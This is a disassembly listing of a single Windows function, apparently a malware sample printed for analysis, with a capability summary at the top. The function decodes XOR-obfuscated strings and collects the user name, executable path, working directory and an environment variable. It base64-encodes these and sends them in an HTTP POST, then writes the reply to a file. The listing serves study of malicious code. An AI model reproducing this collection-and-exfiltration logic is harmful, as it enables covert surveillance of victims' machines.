Function at 0x6ff92c20
Capabilities:
Encode data using xor
Get session user name
Query environment variable
Read file on windows
Write file on windows

Disassembly:
push r15
mov eax, 0x13e8
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.6ff82780
sub rsp, rax
mov dword [rsp + 0x5c], 0xff
lea rax, [rsp + 0x2dc]
lea rdx, [rsp + 0x2e0]
mov byte [rsp + 0x2e1], 0
mov r12, rax
mov dword [rsp + 0x2dc], 0x4048590d
mov byte [rsp + 0x2e0], 0x5d
xor byte [rax + 1], 0xd
inc rax
cmp rax, rdx
jne 0x6ff92c6f
lea rcx, [rsp + 0x2dd]
mov byte [rsp + 0x2e1], 0
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x3ec], 0
lea rdx, [rsp + 0x3e0]
mov dword [rsp + 0x3e8], 0x666f6a65
mov r8, rax
mov rdi, rdx
movabs rax, 0x6b7776625f702603
mov qword [rsp + 0x3e0], rax
lea rax, [rsp + 0x3eb]
xor byte [rdx + 1], 3
inc rdx
cmp rdx, rax
jne 0x6ff92ccb
lea r10, [rsp + 0xd4]
lea r13, [rsp + 0x1d8]
mov byte [rsp + 0x3ec], 0
mov rcx, r10
lea rdx, [rsp + 0x3e1]
mov qword [rsp + 0x48], r10
lea rsi, [rsp + 0x9c]
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r12
lea rdx, [rsp + 0x5c]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov r8d, 0x104
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edx, edx
xor ecx, ecx
call sub.msvcrt.dll__getcwd
mov edx, 0x5c
mov rcx, r13
mov qword [rsp + 0x40], rax
call sub.msvcrt.dll_strrchr
lea rcx, [rax + 1]
call sym.main.exe_base64_encode_char_const_
mov rcx, qword [rsp + 0x40]
mov r15, rax
call sym.main.exe_base64_encode_char_const_
mov rcx, r12
mov r14, rax
call sym.main.exe_base64_encode_char_const_
mov r10, qword [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov r13, rax
mov rcx, r10
mov dword [rsp + 0x20], 4
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r8d, r8d
xor edx, edx
mov r9d, 2
mov rbp, qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r12, rax
mov rcx, rax
call rbp
test eax, eax
jne 0x6ff92e67
mov byte [rsp + 0xc5], 0
lea rdx, [rsp + 0xc4]
movabs rax, 0x4717001610471e65
mov qword [rsp + 0x9c], rax
movabs rax, 0x454947164047455f
mov qword [rsp + 0xa4], rax
movabs rax, 0x47455f4701120647
mov qword [rsp + 0xac], rax
movabs rax, 0x1d00474549471640
mov byte [rsp + 0xc4], 0x18
mov qword [rsp + 0xb4], rax
movabs rax, 0x47164047455f4700
mov qword [rsp + 0xbc], rax
mov rax, rsi
xor byte [rax + 1], 0x65
inc rax
cmp rax, rdx
jne 0x6ff92e33
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, r13
mov rcx, rdi
lea rdx, [rsp + 0x9d]
mov byte [rsp + 0xc5], 0
call sym.main.exe_sprintf_char__char_const__::_
jmp 0x6ff92f72
lea rbx, [rsp + 0x77]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r12
call rbp
mov rcx, r12
lea r9, [rsp + 0x58]
mov r8d, 0x24
mov qword [rsp + 0x20], 0
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x58]
mov byte [rsp + 0xd3], 0
lea rcx, [rsp + 0xd2]
mov dword [rsp + 0xcc], 0x3532302a
mov byte [rsp + rax + 0x77], 0
movabs rax, 0x3262756365326b10
mov qword [rsp + 0x9c], rax
movabs rax, 0x303c32633532302a
mov qword [rsp + 0xa4], rax
movabs rax, 0x32302a3274677332
mov qword [rsp + 0xac], rax
movabs rax, 0x687532303c326335
mov qword [rsp + 0xb4], rax
movabs rax, 0x32633532302a3275
mov word [rsp + 0xd0], 0x3263
mov byte [rsp + 0xd2], 0x6d
mov qword [rsp + 0xbc], rax
movabs rax, 0x327479656532303c
mov qword [rsp + 0xc4], rax
mov rax, rsi
xor byte [rax + 1], 0x10
inc rax
cmp rax, rcx
jne 0x6ff92f3e
mov qword [rsp + 0x28], rbx
mov r9, r14
mov r8, r13
mov rcx, rdi
mov qword [rsp + 0x20], r15
lea rdx, [rsp + 0x9d]
mov byte [rsp + 0xd3], 0
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rsp + 0x76], 0
lea rdx, [rsp + 0x75]
movabs rax, 0x1f18020c0e19446b
mov word [rsp + 0x74], 0x190e
mov qword [rsp + 0x6c], rax
lea rax, [rsp + 0x6c]
xor byte [rax + 1], 0x6b
inc rax
cmp rdx, rax
jne 0x6ff92f97
movabs rax, 0x16434341524c483b
mov byte [rsp + 0x76], 0
lea rdx, [rsp + 0xb5]
mov qword [rsp + 0x9c], rax
movabs rax, 0x5e5516414f525759
mov byte [rsp + 0xb6], 0
mov word [rsp + 0xb4], 0x5e58
mov qword [rsp + 0xa4], rax
movabs rax, 0x5a4b48155d53154f
mov qword [rsp + 0xac], rax
mov rax, rsi
xor byte [rax + 1], 0x3b
inc rax
cmp rax, rdx
jne 0x6ff92ffb
lea rdx, [rsp + 0x6d]
lea rcx, [rsp + 0x9d]
mov r8, rdi
mov byte [rsp + 0xb6], 0
lea r9, [rsp + 0x60]
call sym.main.exe_http_post_request_char_const__char_const__char_const__char_
mov rcx, r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rbp
mov rdx, qword [rsp + 0x60]
xor eax, eax
or rcx, 0xffffffffffffffff
mov r9, rsi
mov rdi, rdx
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], 0
not rcx
lea r8d, [rcx - 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call sym.main.exe_blitz_free_void_
mov rcx, r15
call sym.main.exe_base64_free_char_
mov rcx, r14
call sym.main.exe_base64_free_char_
mov rcx, r13
call sym.main.exe_base64_free_char_
mov rax, qword [rsp + 0x60]
add rsp, 0x13e8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret